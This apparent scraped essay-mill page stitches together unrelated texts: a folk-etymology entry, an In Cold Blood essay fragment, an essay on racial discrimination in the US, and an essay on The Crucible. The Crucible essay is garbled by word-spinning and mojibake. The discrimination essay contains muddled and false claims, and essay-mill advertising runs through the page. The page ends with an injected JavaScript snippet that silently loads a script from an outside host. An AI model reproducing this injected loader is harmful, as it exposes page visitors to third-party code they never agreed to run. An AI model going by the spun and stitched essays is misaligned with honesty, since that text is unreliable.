Folk etymology involves a change in the form or pronunciation of a word or phrase resulting from a mistaken assumption about its composition or meaning. Also called popular etymology. G. Runblad and D.B. Kronenfeld identify two main groups of folk etymology, which they call Class I and Class II. Class I contains folk-etymologies where some change has occurred, either in meaning or form, or both. Folk etymologies of the Class II type, on the other hand, do not usually change the meaning or form of the word, but function mainly as some popular, though false, etymological explanation of the word (Lexicology, Semantics, and Lexicography, 2000). Class I is by far the more common type of folk etymology. Connie Eble points out that folk etymology applies mostly to foreign words, learned or old-fashioned words, scientific names, and place-names (Slang and Sociability, 1996). Examples and Observations The process of altering otherwise incomprehensible words, in order to give them a semblance of meaning, is called folk, or popular, etymology. A product of ignorance, it nevertheless should not be underestimated as a factor of language history, for many familiar words owe their form to it. In kitty-corner, kitty is a jocular substitution for cater-. Cater-corner is an opaque compound, while kitty-corner (diagonally from) suggests the movement of a prowling cat. . . .Stepmother, stepdaughter, and so forth suggest the derivation from step. Yet a stepchild is not one step removed from its natural parent; -step goes back to a word meaning bereaved. Many people share Samuel Johnsons opinion that bonfire is a good fire, from French bon, but it means bonefire. Old bones were used as fuel down to the 1800s. The vowel o was shortened before -nf (a regular change before two consonants), and a native English word began to look half-French.(Anatoly Liberman, Word Origins: Etymology for Everyone. Oxford University Press, 2009) Woodchuck and Cockroach Examples: Algonquian otchek a groundhog became by folk etymology woodchuck; Spanish cucaracha became by folk etymology cockroach.(Sol Steinmetz, Semantic Antics: How and Why Words Change Meanings. Random House, 2008)   Female Historically, female, from Middle English femelle (from Old French femelle, a diminutive form of Latin femina woman/female), is unrelated to male (Old French male/masle; Latin masculus (little man/male); but Middle English femelle was clearly remodeled into female based on the association with male (approximately the 14th century) (OED). The remodeling of female brought female and male into their current and apparently sense-related and asymmetric relationship (one that many of us, now, are going to some lengths to unmake.(Gabriella Runblad and David B. Kronenfeld, Folk-Etymology: Haphazard Perversion or Shrewd Analogy.  Lexicology, Semantics, and Lexicography, ed. by  Julie Coleman and Christian Kay. John Benjamins, 2000) Bridegroom When people hear a foreign or unfamiliar word for the first time, they try to make sense of it by relating it to words they know well. They guess what it must mean--and often guess wrong. However, if enough people make the same wrong guess, the error can become part of the language. Such erroneous forms are called folk or popular etymologies.Bridegroom provides a good example. What has a groom got to do with getting married? Is he going to groom the bride, in some way? Or perhaps he is responsible for horses to carry him and his bride off into the sunset? The true explanation is more prosaic. The Middle English form was bridgome, which goes back to Old English brydguma, from bride guma man. However, gome died out during the Middle English period. By the 16th century its meaning was no longer apparent, and it came to be popularly replaced by a similar-sounding word, grome, serving lad. This later developed the sense of servant having the care of horses, which is the dominant sense to day. But bridegroom never meant anything more than brides man.(David Crystal, The Cambridge Encyclopedia of the English Language. Cambridge University Press, 2003) EtymologyFrom the German,  Volksetymologie

Justice And Punishment In Truman Capotes In Cold Blood

In the United States, there are millions of people that are in jail cells for crimes they have committed. One of the goals of prison is to provide justice for the victim’s crimes but in our prison system, this is not the case. These people face harsh punishments that only cause worse actions in the future. The theme of justice and punishment is explored by Truman Capote in the book In Cold Blood. The two criminals, Dick and Perry, are challenged by society on if they should be imprisoned or if they should be free. In Capote’s work, the use of syntax, diction, and a variety of details portray the current system of punishment as cruel and ineffective in providing justice. The use of syntax helps describe the treatment in prisons as†¦show more content†¦The next sentence is structured to show how the government is hypocritical as it murders people even though it is against the law. This shows how the system of murder is against the law, it shows how punishment is not legally justified. The system of murder does not give mercy as described later on and does the opposite. The parallelism of the word mercy shows how the system of murder is an ineffective form of punishment as it does not give mercy but instead seeks revenge by killing someone. Through syntax, Dick describes his ideas on capital punishment. Capote states that all the government wants is revenge by stating that †They’re mad ‘cause they’re not getting what they want revenge. I believe in hanging. Just so long as I’m not the one being hanged†(336). The informal tone is broken with the hyphen that makes the word revenge stand out. The tone is said with more emphasis and it becomes very serious. Thus, the capital punishment did not provide justice but instead only focused on revenge rather than improving a persons mental state. Through the use of diction, Capote implies that prisoners are treated differently from others. Capote uses diction when he states, â€Å"Unlike conventional prisoners, the condemned†¦Ã¢â‚¬  (Capote 321).The use of the word condemned makes it sound as if the prisoners are victims. Since they are victims, it is implying that society is cruel and prisoners are treated unequally and as victims. The use of prisonsShow MoreRelatedTruman Capote s Cold Blood1620 Words   |  7 PagesTruman Capote is recognized by many for being a screenwriter, creating a plethora of short stories, and famously for his notable work-- Breakfast at Tiffany’s. Not only was this novel popular back in the 1950’s, Capote released a later novel that drew in many fans-- In Cold Blood. The very formation of Capote s novels and short stories seems to be increasingly insufficient to the eccentric dynamics of the time era (nytimes). Agonizing, horrible, surfeited with disasters -- all used to describeRead MoreInvestigation Of Justice State V. Hickock And Smith1085 Words   |  5 PagesVanderwall English 1120 30-September-2016 Investigation of Justice in State v. Hickock and Smith In compliance with the United States Constitution, â€Å"in all criminal prosecutions, the accused shall enjoy the right to a speedy and public trial, by an impartial jury† (U.S. Consitution. Art./Amend. XIII)†. The infamous trial in the state of Kansas, State v. Hickock and Smith, documented in the iconic true crime novel In Cold Blood, by Truman Capote details the events of the murder of four innocent peopleRead MoreTruman Capote -In Cold Blood - Nature vs Nurture1274 Words   |  6 Pagesryan hegarty In Cold Blood. Question 2 â€Å"Nature vs Nurture† Truman Capote’s acclaimed â€Å"non-fiction† novel, In Cold Blood explores the concept as to whether killers are born or made, following the brutal murders of the Clutter family in rural Kansas. Capote develops Perry Smith’s horrid, unfortunate upbringing as a key narrative device which serves to illustrate the effect of childhood experiences on adult behaviour. Capote manipulates the reader’s idea of morality, controversially portraying PerryRead MoreEssay on Vengeance in Truman Capotes In Cold Blood2075 Words   |  9 Pagesfifty years ago in the [rural] heartland of America, that word evoked emotion out of the entire town’s population. Prior to writing In Cold Blood, Truman Capote had written several pieces that lead him to writing a piece of literature that would infuse fiction and nonfiction, thus In Cold Blood was created, albeit after six years of research (â€Å"Truman† 84). Truman Capote is one of the more fascinating figures on the American literary landscape, being one of the countrys few writers to cross the borderRead MoreThe Cold Blood : A Critical Analysis1965 Words   |  8 PagesIn Cold Blood: A critical analysis â€Å"There are two kinds of people - those who are changing and those who are setting themselves up to be victims of change.† You can rephrase the above statement in a thousand different ways. One might divide people into two groups, â€Å"good† and â€Å"bad†, the simplest of ways to categorize people. Then again, one could categorize people into two different groups, â€Å"people who like baseball† and â€Å"people who dislike baseball†. Like I said, you can say it in a thousand differentRead MoreTruman Capote s A Cold Blood Makes A Great Case For Justice1719 Words   |  7 Pages Truman Capote’s In Cold Blood makes a great case for justice in relation to death. In the book, two criminals, Dick and Perry, worked together to murder the Clutters. They got caught and trial, however at the time Kansas maximum incarceration was life imprisonment with parole and most prisoners are paroled after twenty years. Twenty years of imprisonment for br utally killing four members of the most influential family in the area, causing mass hysteria for everyone in Holcomb and for others whoRead MoreAnalysis Of Truman Capote s I Am A Criminal1952 Words   |  8 Pagessimplest of ways to categorize people. Then again, one could categorize people into two different groups, â€Å"people who like baseball† and â€Å"people who dislike baseball†. Like I said, you can say it in a thousand different ways. However, for one man, Truman Capote, the dividing line between two people was a rather complex one. In regard to a person’s ethos, if you will, an individual is not â€Å"born into† a certain role in society, rather society determines one’s role. That being said, the point I amRead MoreAnalysis Of Truman Capote s The Cold Blood 2055 Words   |  9 PagesJaswanth Sai Pyneni Mrs. Jiminez AP American Literature Language and Composition 3 August 2012 In Cold Blood 1. Capote, Truman. In Cold Blood. NY: Modern Library, 1965 2. Postmodernist Crime Nonfiction 3. In â€Å"In Cold Blood†(1965), a nonfiction novel, Truman Capote accounts for the murder of the Clutter family, residing in Holcomb, Kansas, and the events that followed. The mode of development includes Gothic themes and motifs to make the audience question the roles of the protagonists and the antagonistsRead MorePresentation Of Sympathy For Criminals1867 Words   |  8 PagesAssessment 2: Evocation of Sympathy for Criminals: The Effect of Sympathy on Justice in In Cold Blood and Helter Skelter ‘It is quite legitimate to hold the offender accountable for the suffering he has caused, but he himself has the right to be heard as well’ Boutellier here discusses the right the criminal has to be heard, but not the right they have to sympathy. Sympathy for criminals is an interesting device used in literature to give the reader a sense of injustice on their behalf. In contrastRead MoreAnalysis Of The Book The Cold Blood 2963 Words   |  12 Pagesthe other woman. When the stories become associated with one another, the book is separated once again into a different part, telling their stories together, but with chapters separating their points of view on the shared story. In the novel In Cold Blood, the book is separated into four main parts: time before the murder, time leading up to murder, and time after the murder. Inside of the separate parts, the stories of the victims and the stories of the actual killers are separated by sections,

Order No Free Essays

Blacks only migrated to the United States. You find that most a times, the black usually move to the united states in search of increased standards of living say education and jobs. Most of the immigrants to the United States are blacks. We will write a custom essay sample on Order No or any similar topic only for you Order Now Racism is one of the central features in the united states society since blacks and other people of colour are have discriminated so much in many fields. You find that most of the blacks and even the black Americans are usually discriminated on their race. For example in the areas of employment, blacks are usually seen as unproductive and hence discriminated in these areas. Its argued that most of Its forms have recently   changed but, in this case   we only need to look no further than the rates in unemployment which black people normally face, the rising levels of property by the blacks as when compared to the citizens of that country and, life expectancy rates, incomes as when compared to the citizens of that country and the stereotypes in the mass media   in order   to understand that racism and racial inequality still remains in the united states. (Allport, 2003). The value of racism that is examined in this case is that historically we find that racism can be analyzed as a central aspect of most of the economic system. In this case I can examine the Marxist theory which says that racism is supposed to only serve the capitalists or even the wealthy in the society at the expense of the suffering few. Also in the theory colonialism, many groups have come up with many theories that based their arguments and challenged racial injustice. All this is said to have happened in the early 60s and 70s.This theory needs to be modified and it’s also relevant to examine the United States societies although it needs to be modified, it is relevant to examine the United States societies and its impacts to the blacks who live in the United States. (Butler, 1997). In the dual labour market, you find that the blacks are usually neglected in both the public and the private sectors. The issue of wages has been dodged by controversy which leaves us with the question of what can be considered as the right wages. A right wage can be said to be a compensation for a service offered which equals the amount of effort that was used in the service. Going with the labor theories, employer has a moral duty of ensuring that they pay the employees a wage which is equal to their input in their services.   An engineer will not be expected to be paid the same amount of wage as a casual laborer. These are some of the segmentation in the labor market that we have to agree with. But in most of the dual sectors that is the public and the private sectors, you find that, blacks are usually discriminated and usually do hard work with only small wages. (Butler, 1997). Institutional discrimination is also evident in the blacks who stay in the United States. In most of these institutions, you find that blacks are usually denied access to some of the institutions.Ofcourse institutional discrimination is something which blacks have faced for quite a long time. For example, during the early times, blacks were forced in to institutional slavery. In this case, blacks were usually captured and taken as slavery by the American. Even today some of these cases do happen since you find that most of the blacks who go stay in America are forced to do hard work since they are discriminated in certain institutions. (Butler, 1997). Double jeopardy does not happen to the blacks who live in the United States. Double jeopardy can be taken as the case when a criminal is supposed to be tried for a second time of the crime committed. In this case, blacks are not double jeopardized since there is a law which governs human rights and even for the immigrants who live in the United States. (Allport, 2003). Redlining also happens to the blacks which live in the United States. Redlining means the case when the costs of living are increased or even denied to some groups of individuals. But for this case, the blacks are denied their standards of living despite the human rights constitution which states that immigrants should be protected. In this case, redlining can be seen in various accesses to jobs. Most of the blacks are usually denied access to job facilities and are mostly supposed to do the casual activities over there. There costs of living are low as when compared to the citizens of that country. Evvironmental justice is also accorded to the blacks who stay in the United States. You find that the human rights act which is set by various non governmental programs to help protect immigrants who come to unites states have been applied in most of these cases. People have the right to move to any country and enjoy the benefits of that country just like anybody else. Affirmative action can be seen in the areas of employment. Out of research, it has been found that employer support for affirmative action has a significant and positive influence on the blacks who stay in the United States and this can be seen at the higher job levels. (Allport, 2003). Conclusion Blacks are one of the ethnic groups in the United States. They migrated to the United States in search of jobs, higher education and also increased standards of living. Despite their movement to these places, they usually face a lot of discrimination. For example they face a lot of racial discrimination. You find that the blacks are usually denied access to various jobs but the only job they can easily access is the casual job. Reference Allport, G. (2003): The nature of prejudice. Vancouver, West coast Coalition for Human Dignity. Butler, P. (1997): Affirmative action. Diversity and options. University of Colorado Law review. Vol. 68.    How to cite Order No, Essay examples

The Crucible Society Versus The Individual free essay sample

The Crucible: Society Versus The Individual Essay, Research Paper Arthur Miller # 8217 ; s The Crucible focal points on the fearful relationship between society and the person ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . Individual: being a enchantress in the 17th century or being a Communist in the 1950 # 8217 ; s. Miller provinces: The Crucible is involved basically with the societal dealingss of human existences, and accordingly, the prevailing accent in composing the drama was on the struggle ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . Although, both state of affairss coincide with Inquisition and mass craze, they conflict at the fact that Communism among Americans existed in the 1950 # 8217 ; s, while witchery among 17th century Salem townsfolk failed to be an actuality. In both clip periods question was present. As in 1692, the Inquisition of enchantresss and aces had its contentions, so did the subjugation on Communist party members in the 1950 # 8217 ; s ( # 8221 ; Un- American Activities, House Committee on # 8221 ; Microsoft Encarta 97 Encyclopedia, # 8220 ; Witchcraft # 8221 ; Microsoft Encarta 97 Encyclopedia ) . We will write a custom essay sample on The Crucible Society Versus The Individual or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Twenty people were hanged for non squealing to such unorthodoxies. Similarly, big Numberss of Americans lost their occupations and stuffs or were imprisoned if failed to be a true American. What is shown in both epochs was the being of what we can name uncorroborated grounds and agony of being accused. Questions and hearings such as these stirred up intuition and fright, doing mass craze. Both epochs suffered from this. Those accused of witchery and wizardry saved themselves by squealing and so by impeaching others. To be arraigned, all you need is some undistinguished sum of cogent evidence by a townsperson or accused enchantress, many of which accusals were merely retaliation of past incidents, or to pacify the tribunal. Similarly, this happened during the McCarthy Era. Knowing the incorrect individual affected your standing possibilities of whether you would be arraigned or non. Therefore, everyone feared / gt ; each other, if you were or were non a suspect. Indicating fingers was the lone manner to demo your earnestness to the protection of the state. Mass craze was a consequence of these hearings because of the intuition and fear it stirred. The Red Scare and the Salem enchantress tests were decidedly alike in some ways, still, the parallel fails at one of import point: Communism existed ; witchery did non ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . At the clip of the Salem enchantress tests, the psychological provinces ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) of the victims were different than those during the Red Scare. Miller provinces: # 8230 ; the person is seen through society ( # 8221 ; Just Looking for a Home # 8221 ; online ) . He is mentioning to the McCarthy Era. Those blacklisted were connected with the Communist Party, and they were guilty of that. Yet, others had no connexion at all. So, Communism was existent and society looked down on the bing Communists. But, Miller besides states: # 8230 ; society is seen through the person ( # 8221 ; Just Looking for a Home # 8221 ; online ) . Here, he refers to the psychological province of the victims of the Salem enchantress tests. All the accused were non enchantresss, but were forced to believe that they were the # 8220 ; bad # 8221 ; of society. Although, this is non so among the McCarthy Era, because they knew whether or non they were Capitalist or Communist. An illustration of forced belief comes from Tituba # 8217 ; s confession. To counterbalance, you had to squeal. In other words, the victim in Salem believed he was # 8220 ; bad # 8221 ; and saw society as # 8220 ; good. # 8221 ; Communism existed in the McCarthy Era, but witchcraft merely existed among the Salem townsfolk because they were forced to believe that it existed among themselves. Arthur Miller was able to reflect the same quandary that existed on both clip periods. However, they differ in the existent being of the # 8220 ; bad # 8221 ; persons. Many guiltless lives and worklives were claimed as a consequence of these tests, yet, Arthur Miller was able to expound this through his plants. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;